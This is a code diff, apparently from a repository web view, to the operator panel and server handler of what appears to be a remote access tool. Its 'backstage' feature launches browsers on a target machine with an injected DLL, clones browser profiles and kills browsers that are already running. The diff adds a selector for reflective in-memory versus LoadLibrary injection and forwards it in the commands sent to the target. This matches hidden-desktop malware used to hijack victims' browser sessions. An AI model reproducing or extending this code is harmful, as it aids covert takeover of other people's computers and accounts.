const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
|
sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
|
||||||
} else if (action === "start-firefox") {
|
} else if (action === "start-firefox") {
|
||||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
|
sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
|
||||||
} else if (action === "start-opera") {
|
} else if (action === "start-opera") {
|
||||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning });
|
sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
|
||||||
} else if (action === "start-operagx") {
|
} else if (action === "start-operagx") {
|
||||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning });
|
sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
|
||||||
} else if (action === "start-vivaldi") {
|
} else if (action === "start-vivaldi") {
|
||||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning });
|
sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
|
||||||
} else if (action === "start-yandex") {
|
} else if (action === "start-yandex") {
|
||||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning });
|
sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
|
||||||
} else if (action === "start-waterfox") {
|
} else if (action === "start-waterfox") {
|
||||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning });
|
sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
|
||||||
} else if (action === "start-arc") {
|
} else if (action === "start-arc") {
|
||||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||||
sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning });
|
sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() });
|
||||||
} else if (action === "start-custom") {
|
} else if (action === "start-custom") {
|
||||||
hideContextMenu();
|
hideContextMenu();
|
||||||
showCustomExeModal();
|
showCustomExeModal();
|
||||||
|
|||||||
@@ -264,6 +264,13 @@
|
|||||||
<input type="checkbox" id="backstageKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
<input type="checkbox" id="backstageKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||||
<span class="text-xs text-slate-300">Kill browser if running</span>
|
<span class="text-xs text-slate-300">Kill browser if running</span>
|
||||||
</label>
|
</label>
|
||||||
|
<label class="flex items-center justify-between gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||||
|
<span class="text-xs text-slate-300">Injection method</span>
|
||||||
|
<select id="backstageInjectionMethod" class="bg-slate-800 border border-slate-700 rounded px-1.5 py-0.5 text-xs text-slate-200 focus:outline-none focus:border-violet-500">
|
||||||
|
<option value="reflective">Reflective (in-memory)</option>
|
||||||
|
<option value="loadlibrary">LoadLibrary (disk)</option>
|
||||||
|
</select>
|
||||||
|
</label>
|
||||||
<div class="my-1 border-t border-slate-700/60"></div>
|
<div class="my-1 border-t border-slate-700/60"></div>
|
||||||
<!-- Shells -->
|
<!-- Shells -->
|
||||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Shells</div>
|
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Shells</div>
|
||||||
|
|||||||
@@ -1405,6 +1405,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
|||||||
replace_path: String(payload.replace_path || ""),
|
replace_path: String(payload.replace_path || ""),
|
||||||
dll: dllData,
|
dll: dllData,
|
||||||
display: state.display ?? 0,
|
display: state.display ?? 0,
|
||||||
|
injectionMethod: String(payload.injectionMethod || ""),
|
||||||
};
|
};
|
||||||
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
|
sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload);
|
||||||
break;
|
break;
|
||||||
@@ -1420,6 +1421,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
|||||||
path: String(payload.path || ""),
|
path: String(payload.path || ""),
|
||||||
dll: dllData,
|
dll: dllData,
|
||||||
display: state.display ?? 0,
|
display: state.display ?? 0,
|
||||||
|
injectionMethod: String(payload.injectionMethod || ""),
|
||||||
};
|
};
|
||||||
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
|
sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload);
|
||||||
break;
|
break;
|
||||||
@@ -1439,6 +1441,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
|||||||
killIfRunning: payload.killIfRunning === true,
|
killIfRunning: payload.killIfRunning === true,
|
||||||
dll: dllData,
|
dll: dllData,
|
||||||
display: state.display ?? 0,
|
display: state.display ?? 0,
|
||||||
|
injectionMethod: String(payload.injectionMethod || ""),
|
||||||
};
|
};
|
||||||
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
|
sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload);
|
||||||
break;
|
break;
|
||||||
|
|||||||
Reference in New Issue
Block a user